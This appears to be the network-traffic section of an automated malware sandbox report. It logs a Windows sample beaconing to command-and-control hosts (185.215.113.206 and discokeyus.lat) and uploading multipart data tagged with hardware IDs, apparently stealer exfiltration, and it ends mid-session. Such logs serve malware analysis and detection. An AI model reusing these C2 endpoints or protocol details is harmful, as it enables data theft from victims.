Dec 20, 2024 17:29:54.336999893 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDB Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 39 37 32 31 43 31 45 30 46 41 38 33 35 31 30 32 31 31 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="hwid"549721C1E0FA835102114------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="build"stok------AFCFHJJECAEHJJKEHIDB--
Dec 20, 2024 17:29:54.802687883 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	172.67.197.170	443	2000	C:\Users\user\Desktop\hBBxlxfQ3F.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:29:10 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 16:29:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 16:29:11 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1pd7c75rbt31cdlqpao0ivi7jl; expires=Tue, 15 Apr 2025 10:15:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=913lIQd6GeA0jvsUK7Bp%2FHafJMLE8c%2FIzWg%2Bx6eFIDefKD9CDIgaV9sgrUVXbCowEvzg4A1%2FZ%2FNCorGz8zW7I7%2BmPqwf7WI2xgT6hq5hVuZl9%2FAmSdYf%2BIYWFXiLApE1Aw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51027feeb542b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2271&min_rtt=2270&rtt_var=854&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=905&delivery_rate=1280140&cwnd=184&unsent_bytes=0&cid=48d76bf02e6c8dd7&ts=780&x=0"
2024-12-20 16:29:11 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 16:29:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49707	172.67.197.170	443	2000	C:\Users\user\Desktop\hBBxlxfQ3F.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:29:12 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: discokeyus.lat
2024-12-20 16:29:12 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-20 16:29:18 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=023v06kdeqhp74f6ce72j5qmh5; expires=Tue, 15 Apr 2025 10:15:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZoGPaFVjjGYQkv9ffdlbBy5If8%2BzvH9ejxD49nIoX6YTWRC5cNFNHUDnUiGUMtVLf5kd9QGAKGpRADLlDqYB9P7jGEteGMZXmX1dVNzPpAUIQyG0c6r2TXI5aXt2KKtUPA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f51028cadd00f84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1701&rtt_var=668&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=945&delivery_rate=1600877&cwnd=244&unsent_bytes=0&cid=37b09b8249f87ef0&ts=6029&x=0"
2024-12-20 16:29:18 UTC	247	IN	Data Raw: 31 63 62 37 0d 0a 38 41 50 62 47 37 38 33 76 46 74 62 43 72 61 4c 5a 37 66 56 51 4f 57 54 4a 33 6b 2b 75 7a 62 34 4b 55 56 38 65 77 57 61 6e 37 61 4c 49 61 30 35 68 51 4f 51 65 53 68 76 6c 4c 45 54 78 61 41 6c 79 62 46 47 48 52 79 42 55 4a 6c 46 4e 68 6c 58 4a 2b 7a 79 6c 4d 70 6c 75 6e 66 4d 55 70 42 35 50 6e 4b 55 73 54 7a 4d 39 79 57 4c 73 52 31 62 57 39 46 55 6d 55 55 6e 48 52 42 71 36 76 50 56 6d 47 2b 38 63 39 70 55 32 44 6f 33 5a 39 50 75 41 74 61 2f 4c 6f 7a 2b 54 78 51 63 6c 78 53 64 55 32 64 47 57 55 6a 2f 36 39 65 39 59 71 68 77 6e 55 71 51 49 48 6c 76 32 4b 6c 64 6c 62 51 6c 68 2f 39 42 48 56 58 54 58 70 42 4e 4a 68 67 52 64 66 50 35 33 70 68 68 76 33 4c 51 58 63 77 33 50 57 44 59 36 41 6a 57 39 32 7a 48 39 6c 31 62 42 Data Ascii: 1cb78APbG783vFtbCraLZ7fVQOWTJ3k+uzb4KUV8ewWan7aLIa05hQOQeShvlLETxaAlybFGHRyBUJlFNhlXJ+zylMplunfMUpB5PnKUsTzM9yWLsR1bW9FUmUUnHRBq6vPVmG+8c9pU2Do3Z9PuAta/Loz+TxQclxSdU2dGWUj/69e9YqhwnUqQIHlv2KldlbQlh/9BHVXTXpBNJhgRdfP53phhv3LQXcw3PWDY6AjW92zH9l1bB
2024-12-20 16:29:18 UTC	1369	IN	Data Raw: 4a 6b 48 71 45 67 32 44 77 78 71 36 50 75 55 6a 53 2b 67 4f 64 70 5a 6e 6d 46 35 59 4e 6a 6e 41 4e 61 34 4a 59 62 78 56 78 52 63 32 6c 79 53 54 79 30 52 46 6d 6a 32 39 39 4f 61 61 4c 35 32 32 6c 33 59 4e 6a 6f 6f 6d 71 6b 43 7a 66 64 36 78 39 46 56 47 46 2f 4e 57 59 73 4c 4f 46 41 41 4a 2f 2f 78 6c 4d 6f 68 76 33 66 63 57 4e 34 72 4d 57 50 66 37 42 66 65 76 69 2b 4b 38 55 67 52 55 39 70 55 6e 55 45 74 45 52 4e 6a 39 66 44 53 6b 6d 48 35 4e 35 31 53 78 6e 6c 68 4b 50 66 73 46 64 4b 37 4e 4d 58 4c 42 51 51 53 77 42 53 64 52 32 64 47 57 57 2f 39 2f 74 65 5a 62 72 70 78 31 6b 66 65 4b 7a 39 6c 30 66 73 44 30 4c 6b 6f 68 4f 4e 50 46 56 72 61 58 5a 46 43 49 68 6b 64 4a 37 61 39 30 34 6f 68 34 54 6e 38 57 4e 55 31 4d 33 2f 55 71 52 71 62 72 6d 4b 41 2f 51 56 44 Data Ascii: JkHqEg2Dwxq6PuUjS+gOdpZnmF5YNjnANa4JYbxVxRc2lySTy0RFmj299OaaL522l3YNjoomqkCzfd6x9FVGF/NWYsLOFAAJ//xlMohv3fcWN4rMWPf7Bfevi+K8UgRU9pUnUEtERNj9fDSkmH5N51SxnlhKPfsFdK7NMXLBQQSwBSdR2dGWW/9/teZbrpx1kfeKz9l0fsD0LkohONPFVraXZFCIhkdJ7a904oh4Tn8WNU1M3/UqRqbrmKA/QVD
2024-12-20 16:29:18 UTC	1369	IN	Data Raw: 59 4c 61 56 34 65 66 37 69 6c 6c 4c 68 69 72 58 72 58 46 2b 73 36 4e 32 62 54 2f 30 58 4b 2b 54 76 48 39 6b 6c 62 42 4a 6c 5a 6d 30 4d 68 44 42 5a 71 2b 2f 50 61 6e 57 53 32 63 64 31 56 30 7a 77 39 59 39 2f 71 43 4e 47 6c 4b 49 66 35 51 42 70 57 30 78 54 55 43 79 41 47 57 54 2b 34 7a 4d 4f 5a 49 34 78 36 30 31 76 5a 4c 33 6c 33 6d 76 42 46 30 72 74 69 33 37 46 49 45 31 6e 63 57 35 74 42 4b 52 73 54 61 2f 44 7a 31 34 42 75 76 58 6e 52 58 64 51 30 4e 32 7a 63 34 41 37 65 73 53 4b 47 2b 77 56 56 48 4e 35 4d 32 68 4e 6e 4b 68 35 72 39 66 4b 57 70 32 4b 33 64 39 70 44 6e 69 5a 33 63 5a 54 75 43 5a 58 76 59 6f 76 34 52 52 42 57 33 56 53 64 52 69 49 64 48 6d 54 31 2b 74 36 63 5a 72 31 31 31 46 6a 59 4f 54 35 73 30 66 73 41 33 4c 73 75 78 37 38 46 48 45 53 5a 44 Data Ascii: YLaV4ef7illLhirXrXF+s6N2bT/0XK+TvH9klbBJlZm0MhDBZq+/PanWS2cd1V0zw9Y9/qCNGlKIf5QBpW0xTUCyAGWT+4zMOZI4x601vZL3l3mvBF0rti37FIE1ncW5tBKRsTa/Dz14BuvXnRXdQ0N2zc4A7esSKG+wVVHN5M2hNnKh5r9fKWp2K3d9pDniZ3cZTuCZXvYov4RRBW3VSdRiIdHmT1+t6cZr111FjYOT5s0fsA3Lsux78FHESZD
2024-12-20 16:29:18 UTC	1369	IN	Data Raw: 53 57 54 2b 34 39 4e 32 41 62 37 64 77 30 46 50 57 50 6a 64 6c 33 2b 38 4f 30 72 41 6b 69 76 6c 49 48 6c 2f 59 55 4a 42 5a 4a 42 55 54 61 76 4b 39 6d 74 4a 6d 6f 54 6d 46 46 66 6b 31 45 48 6a 50 2b 78 4f 56 71 47 79 65 73 55 49 58 48 49 45 55 6d 55 51 75 45 52 46 76 39 2f 4c 51 6e 47 65 2f 64 4e 68 61 31 43 73 78 5a 74 6e 69 43 74 36 6c 49 6f 72 31 53 52 39 55 30 6c 37 61 42 57 63 5a 41 53 65 67 76 65 47 66 62 72 6c 36 79 78 58 42 64 79 41 6f 30 2b 56 46 6a 66 63 75 69 66 46 4b 46 31 44 53 58 4a 74 48 4b 52 6b 63 62 76 44 31 78 70 4e 6c 73 58 6a 54 57 74 38 39 50 47 33 51 37 67 48 54 75 47 4c 4a 73 55 49 44 48 49 45 55 74 57 77 53 58 44 68 64 75 4f 4b 61 69 79 47 2b 64 5a 30 4e 6e 6a 55 36 5a 4e 7a 6d 41 39 79 37 4b 49 37 36 53 52 42 59 31 56 32 66 54 53 Data Ascii: SWT+49N2Ab7dw0FPWPjdl3+8O0rAkivlIHl/YUJBZJBUTavK9mtJmoTmFFfk1EHjP+xOVqGyesUIXHIEUmUQuERFv9/LQnGe/dNha1CsxZtniCt6lIor1SR9U0l7aBWcZASegveGfbrl6yxXBdyAo0+VFjfcuifFKF1DSXJtHKRkcbvD1xpNlsXjTWt89PG3Q7gHTuGLJsUIDHIEUtWwSXDhduOKaiyG+dZ0NnjU6ZNzmA9y7KI76SRBY1V2fTS
2024-12-20 16:29:18 UTC	1369	IN	Data Raw: 36 76 72 64 67 47 2b 30 64 74 56 64 31 7a 67 39 62 64 6e 76 43 64 2b 32 4a 59 6e 2f 54 56 73 53 6d 56 4f 43 43 33 39 65 4f 48 66 6a 37 38 4b 66 51 4c 52 32 6e 55 71 51 49 48 6c 76 32 4b 6c 64 6c 62 34 77 67 2f 78 58 45 6c 76 58 57 35 6c 5a 4a 68 4d 53 64 66 2f 79 30 4a 56 74 76 33 62 62 56 4e 73 7a 4e 57 2f 52 34 67 72 5a 39 32 7a 48 39 6c 31 62 42 4a 6c 36 6b 56 67 77 48 52 64 73 37 75 61 55 6a 53 2b 67 4f 64 70 5a 6e 6d 46 35 61 39 2f 69 41 64 57 37 49 6f 50 38 52 51 6c 54 33 6c 4f 54 51 44 55 55 48 6d 44 7a 39 64 2b 64 5a 36 74 31 30 30 66 62 4b 79 73 6f 6d 71 6b 43 7a 66 64 36 78 38 64 43 43 30 7a 61 46 71 74 64 4a 41 67 53 61 76 53 39 79 39 78 34 2b 58 37 52 46 59 5a 35 50 32 66 64 36 67 72 55 76 69 36 4b 39 45 77 65 58 64 39 51 6b 45 45 6e 47 42 39 Data Ascii: 6vrdgG+0dtVd1zg9bdnvCd+2JYn/TVsSmVOCC39eOHfj78KfQLR2nUqQIHlv2Kldlb4wg/xXElvXW5lZJhMSdf/y0JVtv3bbVNszNW/R4grZ92zH9l1bBJl6kVgwHRds7uaUjS+gOdpZnmF5a9/iAdW7IoP8RQlT3lOTQDUUHmDz9d+dZ6t100fbKysomqkCzfd6x8dCC0zaFqtdJAgSavS9y9x4+X7RFYZ5P2fd6grUvi6K9EweXd9QkEEnGB9
2024-12-20 16:29:18 UTC	1369	IN	Data Raw: 64 4a 6d 74 54 6d 46 46 64 30 2b 4f 6d 6e 65 34 41 6e 61 73 43 61 56 2b 30 49 4a 58 64 68 66 6c 30 63 6e 45 78 52 74 2b 66 54 5a 6e 6d 79 2b 66 74 4a 51 6e 6e 64 35 62 38 79 70 58 5a 57 57 4c 34 7a 39 48 6b 45 63 78 68 71 44 43 79 41 53 57 54 2b 34 2f 64 36 58 61 37 52 36 30 6c 62 4d 4f 44 39 36 31 4f 51 50 78 37 30 70 67 76 78 49 46 6c 2f 66 55 70 46 48 4e 52 63 5a 5a 50 4f 39 6d 74 4a 6d 6f 54 6d 46 46 66 30 75 4c 32 4c 54 35 52 50 65 74 69 47 52 2f 46 56 62 45 70 6c 46 6e 56 70 6e 52 67 39 33 37 2f 72 4c 33 48 6a 35 66 74 45 56 68 6e 6b 2f 59 64 4c 75 41 39 75 6c 4a 34 48 2b 53 68 4a 56 33 56 79 5a 53 79 4d 61 48 6d 4c 37 38 64 2b 56 59 72 5a 39 31 46 76 58 4e 6e 6b 6d 6c 4f 34 64 6c 65 39 69 70 75 70 47 46 31 47 5a 53 39 52 53 5a 78 6b 56 4a 36 43 39 Data Ascii: dJmtTmFFd0+Omne4AnasCaV+0IJXdhfl0cnExRt+fTZnmy+ftJQnnd5b8ypXZWWL4z9HkEcxhqDCyASWT+4/d6Xa7R60lbMOD961OQPx70pgvxIFl/fUpFHNRcZZPO9mtJmoTmFFf0uL2LT5RPetiGR/FVbEplFnVpnRg937/rL3Hj5ftEVhnk/YdLuA9ulJ4H+ShJV3VyZSyMaHmL78d+VYrZ91FvXNnkmlO4dle9ipupGF1GZS9RSZxkVJ6C9
2024-12-20 16:29:18 UTC	267	IN	Data Raw: 6c 79 79 31 44 5a 4c 33 74 64 31 2b 63 4c 30 71 46 69 6d 4d 34 4c 57 31 50 44 46 4d 4a 79 50 6c 34 65 61 37 69 6c 6c 49 64 6d 75 58 37 48 51 39 6b 31 4b 47 50 5a 35 53 66 61 73 44 53 45 2f 6b 59 4b 56 5a 56 66 6c 77 74 70 58 68 35 2f 75 4b 57 55 76 57 61 76 65 76 4a 57 7a 7a 42 35 4a 70 54 75 45 35 58 76 59 72 6d 78 56 78 68 4d 32 6c 75 4c 64 57 64 47 41 46 6d 34 39 73 4b 56 63 62 70 76 31 6c 6a 53 4b 41 63 6f 6a 4c 31 58 68 2b 56 77 31 65 34 46 42 47 4f 58 46 4a 73 4c 66 79 63 41 4a 2b 36 39 6a 4d 41 76 2b 57 75 64 44 5a 35 2b 4f 6e 72 47 37 77 62 44 74 47 57 35 7a 32 49 4e 56 74 35 45 6e 56 77 6f 58 6c 63 6e 39 37 32 4d 71 79 47 77 66 73 5a 45 79 44 51 70 62 35 54 57 53 35 57 76 59 74 2b 78 63 42 68 53 31 31 4f 4d 57 6d 6f 35 44 32 33 2f 37 64 4f 46 62 Data Ascii: lyy1DZL3td1+cL0qFimM4LW1PDFMJyPl4ea7illIdmuX7HQ9k1KGPZ5SfasDSE/kYKVZVflwtpXh5/uKWUvWavevJWzzB5JpTuE5XvYrmxVxhM2luLdWdGAFm49sKVcbpv1ljSKAcojL1Xh+Vw1e4FBGOXFJsLfycAJ+69jMAv+WudDZ5+OnrG7wbDtGW5z2INVt5EnVwoXlcn972MqyGwfsZEyDQpb5TWS5WvYt+xcBhS11OMWmo5D23/7dOFb
2024-12-20 16:29:18 UTC	1369	IN	Data Raw: 32 63 36 35 0d 0a 6d 6c 4f 30 55 6c 65 39 79 31 61 6f 51 53 41 75 4a 42 6f 55 46 50 6c 34 50 4a 36 43 76 6d 74 4a 7a 2b 53 47 64 45 74 30 72 4b 32 37 58 2f 77 61 53 69 52 79 67 36 30 67 64 53 38 68 71 70 45 77 39 45 78 39 77 36 62 48 42 6b 57 2b 33 66 73 73 56 6b 48 6b 32 4b 49 7a 51 52 5a 33 33 48 63 6d 78 58 56 73 45 6d 57 47 5a 52 53 6b 5a 44 33 61 31 32 73 36 66 5a 36 35 6f 6e 52 75 65 50 33 6b 77 68 4b 64 46 30 61 5a 69 33 36 45 58 51 41 6d 4b 41 38 6f 5a 4f 46 41 41 4a 2b 36 39 6a 4d 41 76 2b 57 75 64 44 5a 35 2b 4f 6e 72 47 37 77 62 44 74 47 57 35 7a 32 73 63 57 74 78 54 69 67 6b 4a 46 51 31 67 75 4c 4f 55 6e 53 48 68 51 4a 30 64 6e 67 5a 33 4b 4d 79 70 58 5a 57 43 49 59 6e 2f 51 67 31 4e 6c 48 71 64 54 53 49 5a 43 53 58 57 39 73 43 56 49 66 63 35 Data Ascii: 2c65mlO0Ule9y1aoQSAuJBoUFPl4PJ6CvmtJz+SGdEt0rK27X/waSiRyg60gdS8hqpEw9Ex9w6bHBkW+3fssVkHk2KIzQRZ33HcmxXVsEmWGZRSkZD3a12s6fZ65onRueP3kwhKdF0aZi36EXQAmKA8oZOFAAJ+69jMAv+WudDZ5+OnrG7wbDtGW5z2scWtxTigkJFQ1guLOUnSHhQJ0dngZ3KMypXZWCIYn/Qg1NlHqdTSIZCSXW9sCVIfc5
2024-12-20 16:29:18 UTC	1369	IN	Data Raw: 6c 2b 61 38 62 37 41 39 61 68 49 63 44 50 65 7a 78 53 33 6c 57 4d 57 7a 41 52 56 6b 6e 4f 33 4f 71 73 64 4c 70 33 30 31 4c 49 4b 48 6b 6d 6c 4f 5a 46 6a 59 35 69 7a 37 46 36 56 52 7a 42 46 4d 49 4c 45 68 30 58 61 66 2f 72 78 64 39 47 74 33 37 63 51 38 34 75 4e 69 66 36 33 79 53 56 2b 57 4b 42 73 52 31 4a 45 70 6c 51 69 77 74 2f 54 6b 73 38 72 61 36 44 77 6a 4f 6d 4e 38 51 56 79 48 6c 68 4f 70 71 70 46 35 58 76 59 73 44 79 56 77 6c 61 32 6b 4b 5a 44 42 6b 67 50 6d 6e 2f 2f 4d 4b 43 62 4c 56 59 33 6b 54 55 42 77 64 39 31 2b 63 4c 30 71 45 7a 78 37 38 46 46 42 79 42 62 64 6f 44 5a 79 46 58 4a 2b 43 39 6a 4e 4a 55 75 6e 66 54 55 73 67 6f 64 45 2f 61 37 67 54 44 70 79 2b 4c 30 45 59 4b 56 70 6b 61 32 6b 31 6e 52 6b 73 70 75 50 6e 46 30 6a 6e 70 4b 34 59 41 6a Data Ascii: l+a8b7A9ahIcDPezxS3lWMWzARVknO3OqsdLp301LIKHkmlOZFjY5iz7F6VRzBFMILEh0Xaf/rxd9Gt37cQ84uNif63ySV+WKBsR1JEplQiwt/Tks8ra6DwjOmN8QVyHlhOpqpF5XvYsDyVwla2kKZDBkgPmn//MKCbLVY3kTUBwd91+cL0qEzx78FFByBbdoDZyFXJ+C9jNJUunfTUsgodE/a7gTDpy+L0EYKVpka2k1nRkspuPnF0jnpK4YAj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49708	172.67.197.170	443	2000	C:\Users\user\Desktop\hBBxlxfQ3F.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:29:20 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1GIIXZ5E User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12785 Host: discokeyus.lat
2024-12-20 16:29:20 UTC	12785	OUT	Data Raw: 2d 2d 31 47 49 49 58 5a 35 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 30 35 43 39 45 31 43 39 45 43 30 45 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 47 49 49 58 5a 35 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 47 49 49 58 5a 35 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 31 47 49 49 58 5a 35 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --1GIIXZ5EContent-Disposition: form-data; name="hwid"6805C9E1C9EC0EB7AC8923850305D13E--1GIIXZ5EContent-Disposition: form-data; name="pid"2--1GIIXZ5EContent-Disposition: form-data; name="lid"PsFKDg--pablo--1GIIXZ5EContent-Disposit
2024-12-20 16:29:21 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=htmgg1dvg91hk098tfbdveai36; expires=Tue, 15 Apr 2025 10:16:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=keYhvcdLqq80W6XGppC4TeTMlpPxd859hi8neu10vLBuUqurBotfEHXDOYtO1N2nD5CSOqayLnVl6SHsNCdcePDzkM81HYCm4nh9cYnTE0YffhTm0FY7CcZ%2Fo48KunzjTg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5102bc7e10423e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&min_rtt=1675&rtt_var=647&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2832&recv_bytes=13713&delivery_rate=1667618&cwnd=197&unsent_bytes=0&cid=80c4f834fde40d19&ts=907&x=0"
2024-12-20 16:29:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:29:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49709	172.67.197.170	443	2000	C:\Users\user\Desktop\hBBxlxfQ3F.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:29:23 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9HQ7TL0VV942 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15027 Host: discokeyus.lat
2024-12-20 16:29:23 UTC	15027	OUT	Data Raw: 2d 2d 39 48 51 37 54 4c 30 56 56 39 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 30 35 43 39 45 31 43 39 45 43 30 45 42 37 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 48 51 37 54 4c 30 56 56 39 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 48 51 37 54 4c 30 56 56 39 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 39 48 51 37 54 4c 30 56 56 39 34 32 0d 0a Data Ascii: --9HQ7TL0VV942Content-Disposition: form-data; name="hwid"6805C9E1C9EC0EB7AC8923850305D13E--9HQ7TL0VV942Content-Disposition: form-data; name="pid"2--9HQ7TL0VV942Content-Disposition: form-data; name="lid"PsFKDg--pablo--9HQ7TL0VV942
2024-12-20 16:29:24 UTC	1136	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:29:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ime06bl63hpsfpub9jeso69qgg; expires=Tue, 15 Apr 2025 10:16:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Oe2GsMKQ50vuNRXx%2Bq1qlgxg3BzjLj%2Fc3B98gIb4V8OAKNN2rRPvs4QBm5qMFArK5E8kdCF1UAoeCmpa%2B121tqMO4ec%2BfDzqyTeN1qYMDWL2nXvyUzJis7b8RmpciA%2FF%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5102cc8d474328-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1756&min_rtt=1750&rtt_var=668&sent=16&recv=20&lost=0&retrans=0&sent_bytes=2832&recv_bytes=15959&delivery_rate=1622222&cwnd=220&unsent_bytes=0&cid=6722bbd02ee7e9d8&ts=1317&x=0"
2024-12-20 16:29:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:29:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49713	172.67.197.170	443	2000	C:\Users\user\Desktop\hBBxlxfQ3F.exe

Timestamp	Bytes transferred	Direction	Data
